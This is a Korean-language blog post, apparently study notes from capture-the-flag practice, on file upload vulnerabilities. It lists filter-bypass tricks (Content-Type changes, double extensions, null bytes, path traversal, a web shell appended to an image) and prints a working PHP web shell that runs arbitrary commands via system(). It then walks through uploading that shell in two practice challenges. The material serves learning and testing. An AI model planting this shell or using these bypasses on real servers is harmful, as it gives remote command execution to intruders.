file uplood
취약점 파악
1. 각 서버에 맞는 형식의 파일을 업로드한다.
2. 업로드 된 파일이 실행되어야한다.
3. 업로드 파일의 경로를 파악해야한다.
-> 이때 경로는 프록시 또는 다운로드된 파일의 주소에서 확인할 수 있다.
-> 다만 불가능한 경우 다른 방법을 찾아야한다.
https://guardkim-hack-lab.tistory.com/64
PHP)업로드&다운로드 해킹하기
이전에 만든 파일 업로드와 다운로드 기능을 해킹해보자. 우선 알아야할 것은 파일 업로드/다운로드 취약점을 알아야한다. File Upload Vulnerability/File Download Vulnerability라는 취약점에 대해서 알아보
guardkim-hack-lab.tistory.com
기초에 대해서는 위 포스트를 참고한다.
*Bypass Trick
--Content type을 변경하여 우회할 수 있다.
--업로드 되는 디렉토리 실행 X
ex) ../file.php 같이 상위 디렉토리에 파일이 저장되는지 확인
ex) url 인코딩으로 특수문자 변경 시도
--블랙리스트 기반 필터링 우회
ex) php-> php5 , jsp->jspx 등
--확장자 우회
ex) test.php->test.png.php 와 같이 우회
ex) test.php%00.png
--File 시그니쳐
이미지파일을 가져와 맨 뒤에 웹쉘을 삽입한다.
--실습--

문제를 풀어본다. 해당 문제에서 로그인 후 게시판으로 들어가 게시물을 작성하면 다음과 같은 화면이 나온다.

이번에는 파일을 업로드할 수 있다. 이때 이전 포스트에서 다뤘던 php 파일을 올린다. 코드는 다음과 같다.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre>
</body>
</html>
완료되면 다운로드하여 경로를 파악해야한다. 이때 버프 스위트를 이용하여 파악하는것이 편하다.

다운로드 버튼을 클릭한 후 프록시를 확인하면 다음과 같이 나온다. (이 때 proxy는 img를 포함하지 않을 수 있으므로 체크해줘야한다.)

해당 요청의 URL을 복사하여 입력해주면 다음과 같이 출력된다.

flag를 찾기 위해 간단한 명령어를 입력해주면 위치를 확인할 수 있다.

다음문제를 풀어보자. 문제는 비슷하지만 php같은 파일들은 올릴 수 없다.


따라서 파일의 확장자를 변경해주거나 다른 해결방안을 찾아야하지만 해당 문제는 조금 다르다.
해당 문제에서 php와 같은 확장자를 막지만 요청 과정에서 변경할 경우 그대로 업로드된다.

filename에서 png 확장자를 지워보면 다음과 같이 출력된다.

하지만 그 다음 이런 문구가 출력된다.

제대로 코드를 작성하지 못하였으므로 발생한 문제점이다. 다운로드 경로를 파악한 후 파일을 실행해보자.

해당 페이지에서 확인해도 좋다. 그럼 다음과 같이 출력되는데 이후 과정은 1번 문제와 같다.
